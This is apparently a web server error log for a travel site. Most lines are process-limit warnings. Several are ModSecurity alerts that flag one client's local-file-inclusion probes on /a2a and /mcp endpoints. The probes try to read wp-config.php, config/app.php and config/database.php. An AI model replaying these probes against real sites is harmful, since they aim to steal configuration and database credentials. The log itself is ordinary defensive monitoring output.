[Fri Jul 17 08:55:45.525535 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.527386 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.532630 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.562766 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.570213 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.573890 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: 57533/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguUkXT4NBqALj2lZ85wAAABA"]
[Fri Jul 17 08:55:45.574792 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguUkXT4NBqALj2lZ85wAAABA"]
[Fri Jul 17 08:55:45.575005 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.575205 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguUkXT4NBqALj2lZ85wAAABA"]
[Fri Jul 17 08:55:45.583400 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguRJ0z2bEtnOrIXVAZAAAAAk"]
[Fri Jul 17 08:55:45.584032 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguRJ0z2bEtnOrIXVAZAAAAAk"]
[Fri Jul 17 08:55:45.584217 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.584386 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguRJ0z2bEtnOrIXVAZAAAAAk"]
[Fri Jul 17 08:55:45.587783 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: obrod/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguVh1WDijTxd1xw5MZwAAAAc"]
[Fri Jul 17 08:55:45.588665 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguVh1WDijTxd1xw5MZwAAAAc"]
[Fri Jul 17 08:55:45.588845 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.589032 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguVh1WDijTxd1xw5MZwAAAAc"]
[Fri Jul 17 08:55:45.613881 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguRAi3pC6yjXGNq2AnwAAAAU"]
[Fri Jul 17 08:55:45.614494 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguRAi3pC6yjXGNq2AnwAAAAU"]
[Fri Jul 17 08:55:45.614678 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.614845 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguRAi3pC6yjXGNq2AnwAAAAU"]
[Fri Jul 17 08:55:45.625950 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: jch0e/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguTsMb3am0TgkjETa4QAAAAo"]
[Fri Jul 17 08:55:45.626654 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguTsMb3am0TgkjETa4QAAAAo"]
[Fri Jul 17 08:55:45.626846 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.627079 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguTsMb3am0TgkjETa4QAAAAo"]
[Fri Jul 17 08:55:45.632258 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguY1dLClkUfK_dfHk7AAAAAI"]
[Fri Jul 17 08:55:45.632906 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/a2a"] [unique_id "almguY1dLClkUfK_dfHk7AAAAAI"]
[Fri Jul 17 08:55:45.633073 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.633293 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguY1dLClkUfK_dfHk7AAAAAI"]
[Fri Jul 17 08:55:45.641951 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.649944 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.670331 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.701720 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.710468 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.721037 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.730161 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.731447 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.765780 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.778513 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.789843 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.798684 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.804234 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.838578 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.855205 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: 5fd4q/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguRJ0z2bEtnOrIXVAZwAAAAk"]
[Fri Jul 17 08:55:45.856113 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguRJ0z2bEtnOrIXVAZwAAAAk"]
[Fri Jul 17 08:55:45.856304 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.856534 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguRJ0z2bEtnOrIXVAZwAAAAk"]
[Fri Jul 17 08:55:45.864099 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguTsMb3am0TgkjETa5AAAAAo"]
[Fri Jul 17 08:55:45.865034 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguTsMb3am0TgkjETa5AAAAAo"]
